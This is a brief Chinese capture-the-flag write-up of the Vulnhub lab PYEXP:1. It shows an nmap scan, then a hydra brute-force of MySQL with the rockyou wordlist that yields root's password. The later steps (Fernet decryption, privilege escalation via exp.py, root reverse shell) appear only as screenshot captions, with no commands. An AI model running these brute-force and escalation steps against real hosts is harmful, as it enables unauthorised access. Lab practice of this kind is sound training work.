Vulnhub 534 PYEXP-1

 

考点:hydra,python

靶机链接:https://www.vulnhub.com/entry/pyexp-1,534/

环境配置

名称 IP
Kali Linux 10.0.2.24
PYEXP: 1 10.0.2.27

初步打点

端口扫描

$ export rip=10.0.2.110
$ sudo nmap -v -A -p- $rip
PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
|_sslv2: ERROR: Script execution failed (use -d to debug)
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 38
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolOld, Support41Auth, SupportsTransactions, IgnoreSigpipes, ODBCClient, IgnoreSpaceBeforeParenthesis, LongColumnFlag, ConnectWithDatabase, SupportsLoadDataLocal, InteractiveClient, Speaks41ProtocolNew, SupportsCompression, DontAllowDatabaseTableColumn, FoundRows, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: BwQo[X([tV0.5]X#A`>V
|_  Auth Plugin Name: mysql_native_password
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)

这就尴尬了,只有ssh和mysql

漏洞发现

先爆破mysql吧

$ hydra -L user -P /usr/share/wordlists/rockyou.txt -f 10.0.2.27 mysql    
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://10.0.2.27:3306/
[3306][mysql] host: 10.0.2.27   login: root   password: prettywoman

1

使用在线fernet算法解密

2

获得用户名密码

获得权限

使用获得的用户名密码登录成功

3

提权

看来利用点是在exp.py这里了

4

查看代码,构造python利用

5

成功接收root权限反弹shell